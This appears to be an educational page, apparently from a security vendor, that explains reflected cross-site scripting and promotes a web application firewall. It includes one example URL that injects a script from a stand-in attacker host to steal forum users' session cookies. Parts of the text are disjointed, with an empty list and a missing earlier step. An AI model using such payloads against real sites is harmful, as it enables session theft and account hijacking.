Reflected Cross Site Scripting (XSS) Attacks
Reflected Cross Site Scripting (XSS) Attacks
Reflected Cross Site Scripting (XSS) Attacks
attacks
What is a XSS attack
Cross-site scripting (XSS) is a web application vulnerability that permits an attacker
to inject code, (typically HTML or JavaScript), into the contents of an outside
website. When a victim views an infected page on the website, the injected code
executes in the victim’s browser. Consequently, the attacker has bypassed the
browser’s same origin policy and is able to steal private information from a victim
associated with the website.
The script is activated through a link, which sends a request to a website with a
vulnerability that enables execution of malicious scripts. The vulnerability is typically
a result of incoming requests not being sufficiently sanitized, which allows for the
manipulation of a web application’s functions and the activation of malicious scripts.
To distribute the malicious link, a perpetrator typically embeds it into an email or third
party website (e.g., in a comment section or in social media). The link is embedded
inside an anchor text that provokes the user to clicking on the it, which initiates the
XSS request to an exploited website, reflecting the attack back to the user.
As such, there are a number of key differences between reflected and stored XSS
attacks, including:
Reflected attacks do not have the same reach as stored XSS attacks.
With a reflected XSS, the perpetrator plays a “numbers game” by sending the
malicious link to as many users as possible, thereby improving his odds of
successfully executing the attack.
This tells the perpetrator that the website is vulnerable. Next, he creates his own
URL, which
reads http://forum.com?q=news<\script%20src=”http://hackersite.com/authstealer.js”
and embeds it as a link into a seemingly harmless email, which he sends to a group
of forum users.
While the sending address and subject line may appear suspect to some, it does not
mean that it won’t be clicked on.
In fact, even if only one in every 1,000 recipients of the email click on the link, that
still amounts to several dozen infected forum users. They will be taken to the forum’s
website, where the malicious script will be reflected back to their browser, enabling
the perpetrator to steal their session cookies and hijack their forum accounts.
See how Imperva Web Application Firewall can help you with XSS attacks.
First and foremost, from the user’s point-of-view, vigilance is the best way to avoid
XSS scripting. Specifically, this means not clicking on suspicious links which may
contain malicious code. Suspicious links include those found in:
It should be noted that, unlike in a stored attack, where the perpetrator’s malicious
requests to a website are blocked, in a reflected XSS attack, it’s the user’s requests
that are blocked. This is done to protect the user, as well as to prevent collateral
damage to all other website visitors.
The Imperva cloud web application firewall also uses signature filtering to counter
reflected XSS. Additionally, the WAF employs crowdsourcing technology, which
automatically collects and aggregates attack data from across the entire Imperva
network, for the benefit of all users.
Learning Objectives
Phishing attacks
Social Engineering
SQL (Structured query language) Injection
Cross site scripting (XSS) attacks
Cross site request forgery (CSRF) attack
Clickjacking
Man in the middle (MITM) attack
TCP SYN Flood
Ping flood (ICMP flood)